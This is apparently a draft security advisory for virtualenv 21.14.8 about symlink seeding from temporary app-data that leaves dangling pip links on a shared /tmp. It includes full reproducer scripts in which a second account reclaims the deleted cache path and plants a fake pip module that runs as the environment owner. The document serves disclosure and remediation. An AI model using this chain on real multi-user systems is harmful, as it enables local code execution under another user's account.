virtualenv: Temporary app-data can leave dangling seed package links

Summary

The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of symlink_app_data can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls.

Anthropic's OSS Scanner reported this as ANT-2026-ZOE2GEPC in virtualenv-20261015-005, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced.

Affected area

Integrity of app-data references after temporary cache cleanup.

Attacker-controlled input

Symlink seeding must be enabled through VIRTUALENV_SYMLINK_APP_DATA or symlink_app_data in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references.

The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults.

Affected code

The relevant 21.14.8 source is in symlink seeder, temporary cache cleanup.

Mechanism

When app-data setup falls back to a temporary directory, the command-line --symlink-app-data action is disabled. A value supplied by VIRTUALENV_SYMLINK_APP_DATA or virtualenv.ini can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links site-packages/pip into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem.

Reproduction and evidence

The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to /tmp. The control used the command-line flag and received a real pip directory. With VIRTUALENV_SYMLINK_APP_DATA=1, the new environment instead contained a pip link into a deleted /tmp/tmpXXXXXXXX directory. A second uid recreated the target path and placed a fake pip/__init__.py there. When the owner ran venv/bin/pip --version, that module created a marker inside the owner's environment and printed this is not pip.

The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. Public fix PR #3437 copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant V as virtualenv seeder
    participant T as Temporary app-data in /tmp
    participant E as site-packages/pip link
    participant A as Other local account
    U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home
    V->>T: create transient cache
    V->>E: link pip to cache path
    V->>T: delete cache at session exit
    A->>T: reclaim old name and plant fake pip
    U->>E: run bin/pip --version
    E->>T: import fake pip through stale link
    T-->>U: attacker's code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-ZOE2GEPC. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import pwd
import shutil
import subprocess
from pathlib import Path

owner = pwd.getpwnam("nobody")  # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one
other_user_uid = 4242
project = Path("/srv/project")
other_user_files = Path("/var/tmp/other-user")

# set up: a project folder only the owner can write, and the other user's two files in a folder of their own
shutil.rmtree(project, ignore_errors=True)
shutil.rmtree(other_user_files, ignore_errors=True)
project.mkdir(mode=0o755)
os.chown(project, owner.pw_uid, owner.pw_gid)
shutil.copytree("/tmp/repro.d", other_user_files)
subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True)

as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project}
as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"}
owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]}
virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]

# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied
subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner)
control_pip = next(project.glob("control/lib/python*/site-packages/pip"))
print(f"CONTROL  --symlink-app-data:            {control_pip} is a symlink: {control_pip.is_symlink()}")

# trigger: the same setting through the environment variable
symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"}
subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner)
venv_pip = next(project.glob("venv/lib/python*/site-packages/pip"))
print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}")

# attack: the other user re-creates the deleted folder the link points into
if venv_pip.is_symlink():
    print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}")
    subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, **as_other_user)

# the owner uses their environment
pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, **as_owner)
print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}")

# check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write
venv_stat = os.stat(project / "venv")
print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}")
proof = project / "venv/attacker-code-ran"
print(f"OBSERVED {proof} exists: {proof.exists()}")
if proof.exists():
    print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}")
print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK")

repro.d/fake_pip.py

# planted as pip/__init__.py: runs in whichever process imports pip
import os
import sys

with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof:
    proof.write(f"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}")

sys.exit("this is not pip")

repro.d/plant_fake_pip.py

import os
import shutil
import sys
from pathlib import Path

dangling_link = sys.argv[1]  # the environment is world-readable, so anyone can read where its links go
deleted_folder = Path(os.readlink(dangling_link))

# virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take
deleted_folder.mkdir(parents=True)
shutil.copy(Path(__file__).with_name("fake_pip.py"), deleted_folder / "__init__.py")

Impact

Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later package load can follow the stale cache reference into a pathname another account has acquired. A private temporary-directory parent prevents that cross-account condition.

Severity: low.

Versions tested

The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at 21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.

The reporter identifies 20.0.6 as the first affected release. Commit c3453b6c, first included in 20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.

The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected through environment variables or configuration. The environment then remains usable after cache cleanup.

Proposed fix: PR #3437.

Known mitigation

The proposed fix is in public PR #3437.

The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data, regardless of where the symlink option came from. Persistent caches retain symlink seeding.

Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate affected environments after correcting those settings. No fixed release is available yet.

Affected release

• The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.